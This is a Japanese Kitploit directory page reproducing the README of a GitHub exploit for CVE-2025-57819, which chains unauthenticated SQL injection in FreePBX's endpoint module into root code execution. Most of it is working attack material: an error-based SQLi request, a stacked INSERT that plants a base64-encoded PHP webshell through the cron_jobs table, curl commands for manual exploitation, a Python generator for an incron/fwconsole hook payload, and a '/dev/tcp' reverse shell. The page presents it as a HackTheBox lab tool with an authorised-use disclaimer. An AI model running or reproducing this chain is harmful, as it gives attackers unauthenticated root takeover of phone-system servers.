Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
FreePBX-CVE-2025-57819 — FreePBX における未認証 SQL インジェクションからリモートコード実行 (RCE) へ — CVE-2025-57819 | Kitploit
ツール/GitHubGitHub/yuvrajshad/freepbx-cve-2025-57819
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHubyuvrajshad/freepbx-cve-2025-57819

FreePBX-CVE-2025-57819

FreePBX における未認証 SQL インジェクションからリモートコード実行 (RCE) へ — CVE-2025-57819

リポジトリを見る
1153ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

FreePBX CVE-2025-57819 — 認証なしSQLiからroot RCEへ

重要度: 重大
種別: 認証なしSQLインジェクション → リモートコード実行
影響を受けるソフトウェア: FreePBX (endpointモジュール)
検証環境: CentOS 7上のFreePBX、Apache 2.4、PHP 7.4、MariaDB 5.5

概要

FreePBXのendpointモジュールには、/admin/ajax.phpのbrandパラメータを介した認証なしSQLインジェクションの脆弱性が存在します。この脆弱性を悪用するのに認証情報は必要ありません。

FreePBXの内部cronジョブ機構とincron/fwconsoleフックシステムを組み合わせることで、認証なしで完全なrootシェルを取得できます。

攻撃チェーン

root@kitploit:~
[No Auth Required]
        │
        ▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
        │
        ├──► Extract DB credentials, user hashes
        │
        ├──► INSERT into cron_jobs
        │         │
        │         └──► PHP webshell dropped in web root
        │                   │
        │                   └──► RCE as asterisk (user flag)
        │
        └──► Write incron trigger file (as asterisk)
                  │
                  └──► sysadmin_manager fires as root
                            │
                            └──► fwconsole hook → Root Shell

使用方法

root@kitploit:~
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>

例:

root@kitploit:~
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999

出力:

root@kitploit:~
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version  : 5.5.65-MariaDB
[+] DB User  : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!

動作の仕組み

ステージ1 — SQLインジェクション

endpointモジュールのAJAXハンドラにおけるbrandパラメータは、サニタイズなしでSQLクエリに直接渡されます:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model
    &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

これにより、XPATHエラー内にデータベース名が返されます — 古典的なエラーベースのSQLi手法です。スタックドクエリにも対応しており、INSERT、UPDATE、DELETE操作が可能です。

ステージ2 — CronによるWebシェル

スタックドクエリを使用して、FreePBXのcron_jobsテーブルにcronジョブを挿入します:

root@kitploit:~
INSERT INTO cron_jobs 
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES 
  ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
   NULL, '* * * * *', 30, 1, 1)

FreePBXのcronランナーはこれを毎分実行し、WebルートにPHPウェブシェルを配置します。

ステージ3 — Incron + fwconsoleフックによるroot取得

incrondは/var/spool/asterisk/incron/(asteriskユーザーが書き込み可能)を監視しています。そこにファイルが作成されると、/usr/bin/sysadmin_managerがrootとしてトリガーされます。

api.fwconsole-commands.<payload>というファイル名形式は、既存のGPG署名付きフックに対応します:

root@kitploit:~
/var/www/html/admin/modules/api/hooks/fwconsole-commands

フックはファイル名をbase64(zlib(json([cmd, txn_id])))ペイロードとしてデコードし、次のコードを実行します:

root@kitploit:~
$cmd = "/usr/sbin/fwconsole $command 2>&1";

help;をプレフィックスとして使うとfwconsoleの有効なコマンドとして扱われ、;で任意のシェルコマンドを連結できます:

root@kitploit:~
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

このコマンドはrootとして実行され、完全なrootシェルが得られます。

手動での悪用

ステップ1 — SQLiの検証

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"

ステップ2 — Webシェルの配置

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"

ステップ3 — rootペイロードの生成

root@kitploit:~
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py

ステップ4 — rootシェルのトリガー

root@kitploit:~
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"

分析中に確認された主な発見

開示スケジュール

日付イベント
2025脆弱性を発見し報告
2025-11-30HackTheBoxにボックスを展開
2025CVE-2025-57819を採番

免責事項

このツールは教育目的および許可を得たセキュリティテスト専用です。明示的なテスト許可がないシステムに対して使用しないでください。作者は不正使用について一切の責任を負いません。

参考情報

  • watchTowr Labs PoC
  • FreePBX Security Advisory
  • CVE-2025-57819 Detail
ツールをダウンロード
調査結果詳細
データベースasterisk (MariaDB 5.5.65)
DBユーザーfreepbxuser@localhost
Webユーザーasterisk (uid=999)
CronテーブルSQLi経由で書き込み可能
Incronディレクトリ/var/spool/asterisk/incron/ (asteriskユーザーが書き込み可能)
権限昇格incrond経由でfwconsoleフックがrootとして実行
root取得の手法Incronトリガー → 署名付きfwconsoleフック → コマンドインジェクション